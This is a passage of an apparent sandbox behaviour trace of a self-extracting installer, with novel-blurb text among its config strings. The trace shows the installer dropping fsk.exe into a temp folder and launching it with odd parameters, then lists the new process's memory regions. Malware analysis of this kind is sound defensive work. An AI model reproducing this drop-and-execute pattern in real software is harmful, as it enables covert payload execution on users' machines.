cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.717] ExpandEnvironmentStringsW (in: lpSrc="U8471", lpDst=0x16b374, nSize=0x1000 | out: lpDst="U8471") returned 0x6 [0068.717] OemToCharBuffA (in: lpszSrc="U", lpszDst=0x16d388, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0068.717] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x16d37c, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0068.717] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x16b374, nSize=0x1000 | out: lpDst="1") returned 0x2 [0068.717] ExpandEnvironmentStringsW (in: lpSrc="%temp%\\62890218", lpDst=0x16b374, nSize=0x1000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2e [0068.718] ExpandEnvironmentStringsW (in: lpSrc="fsk.exe muu=ksm ", lpDst=0x16b374, nSize=0x1000 | out: lpDst="fsk.exe muu=ksm ") returned 0x11 [0068.718] ExpandEnvironmentStringsW (in: lpSrc="U8471", lpDst=0x16b374, nSize=0x1000 | out: lpDst="U8471") returned 0x6 [0068.718] OemToCharBuffA (in: lpszSrc="U", lpszDst=0x16d388, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0068.718] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x16d37c, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0068.718] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x16b374, nSize=0x1000 | out: lpDst="1") returned 0x2 [0068.718] ExpandEnvironmentStringsW (in: lpSrc="%temp%\\62890218", lpDst=0x16b374, nSize=0x1000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2e [0068.718] ExpandEnvironmentStringsW (in: lpSrc="fsk.exe muu=ksm ", lpDst=0x16b374, nSize=0x1000 | out: lpDst="fsk.exe muu=ksm ") returned 0x11 [0068.718] GetFullPathNameW (in: lpFileName="fsk.exe", nBufferLength=0x400, lpBuffer=0x16bb1c, lpFilePart=0x16c324 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", lpFilePart=0x16c324*="fsk.exe") returned 0x35 [0068.719] ShellExecuteExW (in: pExecInfo=0x16d338*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", lpParameters="muu=ksm ", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x16d338*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", lpParameters="muu=ksm ", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x244)) returned 1 [0071.370] CloseHandle (hObject=0x244) returned 1 [0071.370] GetDlgItem (hDlg=0x20216, nIDDlgItem=1) returned 0x10264 [0071.370] EnableWindow (hWnd=0x10264, bEnable=1) returned 1 [0071.370] EndDialog (hDlg=0x20216, nResult=0x1) returned 1 [0071.379] FreeLibrary (hLibModule=0x75280000) returned 1 [0071.379] FreeLibrary (hLibModule=0x74eb0000) returned 1 [0071.381] IUnknown:AddRef (This=0x762a66bc) returned 0x1 [0071.381] OleUninitialize () [0071.381] DeleteObject (ho=0xe01b9) returned 0 [0071.381] DeleteObject (ho=0x5050901) returned 1 [0071.381] OleUninitialize () [0071.422] ExitProcess (uExitCode=0x0) Thread: id = 100 os_tid = 0xbb4 Thread: id = 101 os_tid = 0xbb8 Thread: id = 102 os_tid = 0xbbc Process: id = "7" image_name = "fsk.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe" page_root = "0x4f195000" os_pid = "0xbc0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xba4" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe\" muu=ksm " cur_dir = "C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1449 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1450 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1451 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1452 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1453 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1454 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1455 start_va = 0x3b0000 end_va = 0x7affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1456 start_va = 0x1140000 end_va = 0x121efff entry_point = 0x1140000 region_type = mapped_file name = "fsk.exe" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe") Region: id = 1457 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1458 start_va = 0x777c0000 end_va = 0x7793ffff entry_point = 0x777c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1459 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1460 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1461 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 1462 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 1463 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 1464 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 1465 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 1469 start_va = 0xa0000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1470 start_va = 0x750d0000 end_va = 0x7512bfff entry_point = 0x750d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1471 start_va = 0x75240000 end_va = 0x7527efff entry_point = 0x75240000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1472 start_va = 0x752d0000 end_va = 0x752d7fff entry_point = 0x752d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1473 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1474 start_va = 0x120000 end_va = 0x186fff entry_point = 0x120000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1475 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1476 start_va = 0x7e0000 end_va = 0xbdffff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 1477 start_va = 0x74cf0000 end_va = 0x74cfafff entry_point = 0x74cf0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1478 start_va = 0x74d00000 end_va = 0x74d16fff entry_point = 0x74d00000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 1479 start_va = 0x74d20000 end_va = 0x74d26fff entry_point = 0x74d20000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1480 start_va = 0x74d30000 end_va = 0x74d4bfff entry_point = 0x74d30000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1481 start_va = 0x74d50000 end_va = 0x74eedfff entry_point = 0x74d50000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1482 start_va = 0x74ef0000 end_va = 0x74f21fff entry_point = 0x74ef0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1483 start_va = 0x75050000 end_va = 0x750cffff entry_point = 0x75050000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1484 start_va = 0x75220000 end_va = 0x75231fff entry_point = 0x75220000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1485 start_va = 0x75280000 end_va = 0x75286fff entry_point = 0x75280000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 1486 start_va = 0x752f0000 end_va = 0x752f8fff entry_point = 0x752f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1487 start_va = 0x75310000 end_va = 0x7531bfff entry_point = 0x75310000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1488 start_va = 0x75320000 end_va = 0x7537ffff entry_point = 0x75320000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1489 start_va = 0x75380000 end_va = 0x75384fff entry_point = 0x75380000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1490 start_va = 0x75390000 end_va = 0x7542ffff entry_point = 0x75390000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1491 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x75510000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1492 start_va = 0x75540000 end_va = 0x755cefff entry_point = 0x75540000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1493 start_va = 0x755d0000 end_va = 0x7565ffff entry_point = 0x755d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1494 start_va = 0x75660000 end_va = 0x756b6fff entry_point = 0x75660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1495 start_va = 0x756c0000 end_va = 0x7573afff entry_point = 0x756c0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 1496 start_va = 0x75740000 end_va = 0x75875fff entry_point = 0x75740000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: 